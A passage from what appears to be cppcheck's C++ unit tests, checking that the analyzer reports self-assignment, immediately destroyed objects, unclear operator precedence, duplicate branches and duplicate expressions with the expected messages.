ASSERT_EQUALS(\"[test.cpp:6:15]: (style) Redundant assignment of 'this->var' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"class Foo {\\n\"\n \" int var;\\n\"\n \" void func(int var);\\n\"\n \"};\\n\"\n \"void Foo::func(int var) {\\n\"\n \" this->var = var;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6406 - designated initializer doing bogus self assignment\n check(\"struct callbacks {\\n\"\n \" void (*s)(void);\\n\"\n \"};\\n\"\n \"void something(void) {}\\n\"\n \"void f() {\\n\"\n \" struct callbacks ops = { .s = ops.s };\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6]: (style) Redundant assignment of 'something' to itself.\\n\", \"\", errout_str());\n\n check(\"class V\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" V()\\n\"\n \" {\\n\"\n \" x = y = z = 0.0;\\n\"\n \" }\\n\"\n \" V( double x, const double y_, const double &z_)\\n\"\n \" {\\n\"\n \" x = x; y = y; z = z;\\n\"\n \" }\\n\"\n \" double x, y, z;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:10:11]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\"\n \"[test.cpp:10:18]: (style) Redundant assignment of 'y' to itself. [selfAssignment]\\n\"\n \"[test.cpp:10:25]: (style) Redundant assignment of 'z' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"void f(int i) { i = !!i; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int x = 1;\\n\"\n \" int &ref = x;\\n\"\n \" ref = x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Redundant assignment of 'ref' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"class Foo {\\n\" // #9850\n \" int i{};\\n\"\n \" void modify();\\n\"\n \" void method() {\\n\"\n \" Foo copy = *this;\\n\"\n \" modify();\\n\"\n \" *this = copy;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #11383\n \" void f() {\\n\"\n \" int x = 42;\"\n \" auto l2 = [i = i, x, y = 0]() { return i + x + y; };\\n\"\n \" }\\n\"\n \" int i;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #10337\n \" int b[2] = { 1, 2 };\\n\"\n \" int idx = 0;\\n\"\n \" int& i = b[idx];\\n\"\n \" idx++;\\n\"\n \" i = b[idx];\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int*);\\n\" // #12390\n \"void f() {\\n\"\n \" int o = s.i;\\n\"\n \" g(&s.i);\\n\"\n \" s.i = o;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void trac1132() {\n check(\"class Lock\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" Lock(int i)\\n\"\n \" {\\n\"\n \" std::cout << \\\"Lock \\\" << i << std::endl;\\n\"\n \" }\\n\"\n \" ~Lock()\\n\"\n \" {\\n\"\n \" std::cout << \\\"~Lock\\\" << std::endl;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" Lock(123);\\n\"\n \" std::cout << \\\"hello\\\" << std::endl;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:15:5]: (style) Instance of 'Lock' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void trac3693() {\n check(\"struct A{\\n\"\n \" enum {\\n\"\n \" b = 300\\n\"\n \" };\\n\"\n \"};\\n\"\n \"const int DFLT_TIMEOUT = A::b % 1000000 ;\\n\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickFunction1() {\n check(\"int main ( )\\n\"\n \"{\\n\"\n \" CouldBeFunction ( 123 ) ;\\n\"\n \" return 0 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickFunction2() {\n check(\"struct error {\\n\"\n \" error() {}\\n\"\n \"};\\n\"\n \"\\n\"\n \"class parser {\\n\"\n \"public:\\n\"\n \" void error() const {}\\n\"\n \"\\n\"\n \" void foo() const {\\n\"\n \" error();\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectPicksClass() {\n check(\"class NotAFunction ;\\n\"\n \"int function ( )\\n\"\n \"{\\n\"\n \" NotAFunction ( 123 );\\n\"\n \" return 0 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style) Instance of 'NotAFunction' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void testMisusedScopeObjectPicksStruct() {\n check(\"struct NotAClass;\\n\"\n \"bool func ( )\\n\"\n \"{\\n\"\n \" NotAClass ( 123 ) ;\\n\"\n \" return true ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style) Instance of 'NotAClass' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickIf() {\n check(\"bool func( int a , int b , int c )\\n\"\n \"{\\n\"\n \" if ( a > b ) return c == a ;\\n\"\n \" return b == a ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickConstructorDeclaration() {\n check(\"class Something : public SomethingElse\\n\"\n \"{\\n\"\n \"public:\\n\"\n \"~Something ( ) ;\\n\"\n \"Something ( ) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickFunctor() {\n check(\"class IncrementFunctor\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" void operator()(int &i)\\n\"\n \" {\\n\"\n \" ++i;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" int a = 1;\\n\"\n \" IncrementFunctor()(a);\\n\"\n \" return a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickLocalClassConstructors() {\n check(\"void f() {\\n\"\n \" class Foo {\\n\"\n \" Foo() { }\\n\"\n \" Foo(int a) { }\\n\"\n \" Foo(int a, int b) { }\\n\"\n \" };\\n\"\n \" Foo();\\n\"\n \" do_something();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (style) Instance of 'Foo' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickUsedObject() {\n check(\"struct Foo {\\n\"\n \" void bar() {\\n\"\n \" }\\n\"\n \"};\\n\"\n \"\\n\"\n \"void fn() {\\n\"\n \" Foo().bar();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickPureC() {\n // Ticket #2352\n const char code[] = \"struct cb_watch_bool {\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" cb_watch_bool();\\n\"\n \" do_something();\\n\"\n \"}\\n\";\n\n check(code, true);\n ASSERT_EQUALS(\"[test.cpp:7:5]: (style) Instance of 'cb_watch_bool' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n\n check(code, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #2639\n check(\"struct stat { int a; int b; };\\n\"\n \"void stat(const char *fn, struct stat *);\\n\"\n \"\\n\"\n \"void foo() {\\n\"\n \" stat(\\\"file.txt\\\", &st);\\n\"\n \" do_something();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\",errout_str());\n\n check(\"struct AMethodObject {\\n\" // #4336\n \" AMethodObject(double, double, double);\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" static void A(double, double, double);\\n\"\n \"};\\n\"\n \"void S::A(double const a1, double const a2, double const a3) {\\n\"\n \" AMethodObject(a1, a2, a3);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\",errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickNestedClass() {\n const char code[] = \"class ios_base {\\n\"\n \"public:\\n\"\n \" class Init {\\n\"\n \" public:\\n\"\n \" };\\n\"\n \"};\\n\"\n \"class foo {\\n\"\n \"public:\\n\"\n \" foo();\\n\"\n \" void Init(int);\\n\"\n \"};\\n\"\n \"foo::foo() {\\n\"\n \" Init(0);\\n\"\n \" do_something();\\n\"\n \"}\\n\";\n\n check(code, true);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectInConstructor() {\n const char code[] = \"class Foo {\\n\"\n \"public:\\n\"\n \" Foo(char x) {\\n\"\n \" Foo(x, 0);\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \" Foo(char x, int y) { }\\n\"\n \"};\\n\";\n check(code, true);\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style) Instance of 'Foo' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void testMisusedScopeObjectStandardType() {\n check(\"int g();\\n\"\n \"void f(int i) {\\n\"\n \" int();\\n\"\n \" int(0);\\n\"\n \" int( g() );\\n\" // don't warn\n \" int{};\\n\"\n \" int{ 0 };\\n\"\n \" int{ i };\\n\"\n \" int{ g() };\\n\" // don't warn\n \" g();\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:4:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:6:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:7:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:8:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\",\n errout_str());\n\n check(\"void f(int j) {\\n\"\n \" for (; bool(j); ) {}\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g() {\\n\"\n \" float (f);\\n\"\n \" float (*p);\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" void();\\n\"\n \" return i;\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectNamespace() {\n check(\"namespace M {\\n\" // #4779\n \" namespace N {\\n\"\n \" struct S {};\\n\"\n \" }\\n\"\n \"}\\n\"\n \"int f() {\\n\"\n \" M::N::S();\\n\"\n \" return 0;\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:7:11]: (style) Instance of 'M::N::S' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #10057\n \" std::string(\\\"abc\\\");\\n\"\n \" std::string{ \\\"abc\\\" };\\n\"\n \" std::pair(1, 2);\\n\"\n \" (void)0;\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Instance of 'std::string' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:3:10]: (style) Instance of 'std::string' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:4:10]: (style) Instance of 'std::pair' object is destroyed immediately. [unusedScopedObject]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #10083\n \" void f() {\\n\"\n \" std::lock_guard(m);\\n\"\n \" }\\n\"\n \" void g() {\\n\"\n \" std::scoped_lock(m);\\n\"\n \" }\\n\"\n \" void h() {\\n\"\n \" std::scoped_lock(m);\\n\"\n \" }\\n\"\n \" std::mutex m;\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:3:14]: (style) Instance of 'std::lock_guard' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:6:14]: (style) Instance of 'std::scoped_lock' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:9:14]: (style) Instance of 'std::scoped_lock' object is destroyed immediately. [unusedScopedObject]\\n\",\n errout_str());\n\n check(\"struct S { int i; };\\n\"\n \"namespace {\\n\"\n \" S s() { return ::S{42}; }\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectAssignment() { // #11371\n check(\"struct S;\\n\"\n \"S f();\\n\"\n \"S& g();\\n\"\n \"S&& h();\\n\"\n \"S* i();\\n\"\n \"void t0() { f() = {}; }\\n\"\n \"void t1() { g() = {}; }\\n\"\n \"void t2() { h() = {}; }\\n\"\n \"void t3() { *i() = {}; }\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:6:19]: (style) Instance of 'S' object is destroyed immediately, assignment has no effect. [unusedScopedObject]\\n\", errout_str());\n }\n\n void trac2084() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" struct sigaction sa;\\n\"\n \"\\n\"\n \" { sigaction(SIGHUP, &sa, 0); };\\n\"\n \" { sigaction(SIGINT, &sa, 0); };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void trac2071() {\n check(\"void f() {\\n\"\n \" struct AB {\\n\"\n \" AB(int a) { }\\n\"\n \" };\\n\"\n \"\\n\"\n \" const AB ab[3] = { AB(0), AB(1), AB(2) };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void clarifyCalculation() {\n check(\"int f(char c) {\\n\"\n \" return 10 * (c == 0) ? 1 : 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:26]: (style) Clarify calculation precedence for '*' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f(char c) {\\n\"\n \" printf(\\\"%i\\\", 10 * (c == 0) ? 1 : 2);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:32]: (style) Clarify calculation precedence for '*' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" return (2*a)?b:c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(char c) {\\n\"\n \" printf(\\\"%i\\\", a + b ? 1 : 2);\\n\"\n \"}\",true,false,false);\n ASSERT_EQUALS(\"[test.cpp:2:24]: (style) Clarify calculation precedence for '+' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::cout << x << y ? 2 : 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (style) Clarify calculation precedence for '<<' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int ab = a - b ? 2 : 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (style) Clarify calculation precedence for '-' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int ab = a | b ? 2 : 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (style) Clarify calculation precedence for '|' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n // ticket #195\n check(\"int f(int x, int y) {\\n\"\n \" return x >> ! y ? 8 : 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:21]: (style) Clarify calculation precedence for '>>' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" return shift < sizeof(int64_t)*8 ? 1 : 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() { a = *p ? 1 : 2; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { const char *p = x & 1 ? \\\"1\\\" : \\\"0\\\"; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() { x = a % b ? \\\"1\\\" : \\\"0\\\"; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { return x & 1 ? '1' : '0'; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { return x & 16 ? 1 : 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { return x % 16 ? 1 : 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"enum {X,Y}; void f(int x) { return x & Y ? 1 : 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void clarifyStatement() {\n check(\"char* f(char* c) {\\n\"\n \" *c++;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:7]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"char* f(char** c) {\\n\"\n \" *c[5]--;\\n\"\n \" return *c;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:10]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"void f(Foo f) {\\n\"\n \" *f.a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:9]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"void f(Foo f) {\\n\"\n \" *f.a[5].v[3]++;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:17]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"void f(Foo f) {\\n\"\n \" *f.a(1, 5).v[x + y]++;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:24]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"char* f(char* c) {\\n\"\n \" (*c)++;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(char* c) {\\n\"\n \" bar(*c++);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"char*** f(char*** c) {\\n\"\n \" ***c++;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:9]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"char** f(char*** c) {\\n\"\n \" **c[5]--;\\n\"\n \" return **c;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:11]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"char*** f(char*** c) {\\n\"\n \" (***c)++;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const int*** p) {\\n\" // #10923\n \" delete[] **p;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void *f(char** c) {\\n\"\n \" bar(**c++);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void *f(char* p) {\\n\"\n \" for (p = path; *p++;) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::array,3> array;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector& v) {\\n\" // #12088\n \" for (auto it = v.begin(); it != v.end(); delete *it++);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch() {\n check(\"void f(int a, int &b) {\\n\"\n \" if (a)\\n\"\n \" b = 1;\\n\"\n \" else\\n\"\n \" b = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:2:5]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"void f(int a, int &b) {\\n\"\n \" if (a) {\\n\"\n \" if (a == 1)\\n\"\n \" b = 2;\\n\"\n \" else\\n\"\n \" b = 2;\\n\"\n \" } else\\n\"\n \" b = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:3:9]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"void f(int a, int &b) {\\n\"\n \" if (a == 1)\\n\"\n \" b = 1;\\n\"\n \" else {\\n\"\n \" if (a)\\n\"\n \" b = 2;\\n\"\n \" else\\n\"\n \" b = 2;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9] -> [test.cpp:5:9]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"int f(int signed, unsigned char value) {\\n\"\n \" int ret;\\n\"\n \" if (signed)\\n\"\n \" ret = (signed char)value;\\n\" // cast must be kept so the simplifications and verification is skipped\n \" else\\n\"\n \" ret = (unsigned char)value;\\n\"\n \" return ret;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (b)\\n\"\n \" __asm__(\\\"mov ax, bx\\\");\\n\"\n \" else\\n\"\n \" __asm__(\\\"mov bx, bx\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #3407\n\n check(\"void f() {\\n\"\n \" if (b)\\n\"\n \" __asm__(\\\"mov ax, bx\\\");\\n\"\n \" else\\n\"\n \" __asm__(\\\"mov ax, bx\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:2:5]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n }\n\n void duplicateBranch1() {\n\n // tests inspired by http://www.viva64.com/en/b/0149/ ( Comparison between PVS-Studio and cppcheck )\n // Errors detected in Quake 3: Arena by PVS-Studio: Fragment 2\n check(\"void f()\\n\"\n \"{\\n\"\n \" if (front < 0)\\n\"\n \" frac = front/(front-back);\\n\"\n \" else\\n\"\n \" frac = front/(front-back);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:3] -> [test.cpp:3:3]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" if (front < 0)\\n\"\n \" { frac = front/(front-back);}\\n\"\n \" else\\n\"\n \" frac = front/((front-back));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:3] -> [test.cpp:3:3]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n // No message about empty branches (#5354)\n check(\"void f()\\n\"\n \"{\\n\"\n \" if (front < 0)\\n\"\n \" {}\\n\"\n \" else\\n\"\n \" {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch2() {\n checkP(\"#define DOSTUFF1 ;\\n\"\n \"#define DOSTUFF2 ;\\n\"\n \"void f(int x) {\\n\" // #4329\n \" if (x)\\n\"\n \" DOSTUFF1\\n\"\n \" else\\n\"\n \" DOSTUFF2\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch3() {\n check(\"void f(bool b, int i) {\\n\"\n \" int j = i;\\n\"\n \" if (b) {\\n\"\n \" x = i;\\n\"\n \" } else {\\n\"\n \" x = j;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:5:7] -> [test.cpp:3:5]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\"\n \"[test.cpp:2:9]: (style) The scope of the variable 'j' can be reduced. [variableScope]\\n\",\n errout_str());\n\n check(\"void f(bool b, int i) {\\n\"\n \" int j = i;\\n\"\n \" i++;\\n\"\n \" if (b) {\\n\"\n \" x = i;\\n\"\n \" } else {\\n\"\n \" x = j;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch4() {\n check(\"void* f(bool b) {\\n\"\n \" if (b) {\\n\"\n \" return new A::Y(true);\\n\"\n \" } else {\\n\"\n \" return new A::Z(true);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch5() {\n check(\"void f(bool b) {\\n\"\n \" int j;\\n\"\n \" if (b) {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = i;\\n\"\n \" } else {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:7] -> [test.cpp:3:5]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" int j;\\n\"\n \" if (b) {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = i;\\n\"\n \" } else {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = 1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" int j;\\n\"\n \" if (b) {\\n\"\n \" unsigned int i = 0;\\n\"\n \" } else {\\n\"\n \" int i = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" int j;\\n\"\n \" if (b) {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = i;\\n\"\n \" } else {\\n\"\n \" int i = 0;\\n\"\n \" j = i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch6() {\n check(\"void f(bool b) {\\n\"\n \" if (b) {\\n\"\n \" } else {\\n\"\n \" int i = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" if (b) {\\n\"\n \" int i = 0;\\n\"\n \" } else {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression1() {\n check(\"void foo(int a) {\\n\"\n \" if (a == a) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"void fun(int b) {\\n\"\n \" return a && a ||\\n\"\n \" b == b &&\\n\"\n \" d > d &&\\n\"\n \" e < e &&\\n\"\n \" f ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\"\n \"[test.cpp:3:15]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\"\n \"[test.cpp:4:15]: (style) Same expression on both sides of '>'. [duplicateExpression]\\n\"\n \"[test.cpp:5:15]: (style) Same expression on both sides of '<'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" return a && a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" a = b && b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(int b) {\\n\"\n \" f(a,b == b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(int b) {\\n\"\n \" f(b == b, a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (x!=2 || x!=2) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((a < b) && (b > a)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '&&' because 'aa' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((a <= b) && (b >= a)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression on both sides of '&&' because 'a<=b' and 'b>=a' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (x!=2 || 